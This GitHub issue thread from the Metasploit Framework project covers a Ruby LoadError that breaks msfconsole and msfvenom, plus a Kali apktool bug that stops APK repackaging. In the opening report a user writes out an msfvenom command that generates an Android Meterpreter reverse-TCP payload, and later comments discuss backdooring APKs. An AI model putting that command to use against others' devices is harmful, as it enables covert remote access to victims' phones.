rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.14k stars 13.97k forks source link

msfvenom error #11031

Closed smchaitu closed 5 years ago

smchaitu commented 5 years ago

error with msfvenom while creating payload apk & msfconsole

1.i am runnung kali linux light live with cd

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core.rb:14:in `require': cannot load such file -- backports (LoadError)
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core.rb:14:in `<top (required)>'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload/apk.rb:3:in `require'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload/apk.rb:3:in `<top (required)>'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload_generator.rb:2:in `require'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload_generator.rb:2:in `<top (required)>'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/msfconsole:48:in `require'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/msfconsole:48:in `<top (required)>'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/bin/msfconsole:23:in `load'
    from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/bin/msfconsole:23:in `<main>'

i need solution it results same for both msfconsole & msfvenom -p android/meterpreter/reverse_tcp LHOST=my_ip LPORT=8080 R > app.apk

i am new to kali&metasploit

i need to genarate apk payload

Green-m commented 5 years ago

Have you tried to update the metasploit?

ssnkhan commented 5 years ago

I suspect you have updated to Kali 2018.4 which broke msfvenom's implementation of apktool. I have raised this already, but it is unlikely that the issue will be resolved in the near future:

https://github.com/rapid7/metasploit-framework/issues/11024 https://github.com/iBotPeaches/Apktool/issues/1934

A ticket was already raised within the Kali Bug Tracker -- https://bugs.kali.org/view.php?id=5126, and the issue appears to originate due to upstream changes within Debian itself:

This is either a Debian bug, or it's a bug in apktool itself upstream - we (Kali) import the package as is from Debian without modifying it. I took a look and did not see any bugs in their bug tracker ( https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=apktool )

I'm able to reproduce the issue as well, I just grabbed the first apk I found called Diary on apkpure, and ran the same commands against it that you did and get the same result.

I did notice that Debian's bump to 2.3.4 removed a packaged jar file, but after attempting to roll back that patch, I had the same issue. I also tried older versions from Debian Sid (2.2.1) but was unable to get msfvenom to use it. I do believe this bug should be opened with Debian.

For now, the capability to weaponise APKs using msfvenom appears to be on hold.

dsx12 commented 5 years ago

Is there a alternative tool other than apktool to rebuild decompiled apks that successfully works?

dsx12 commented 5 years ago

Could I do this manually and recompile on windows with apktool? I attempted and received another error in windows lol..

busterb commented 5 years ago

I suggest you uninstall Metasploit Community/Pro and switch to the one built into Kali linux first. Also, your msfvenom syntax is wrong.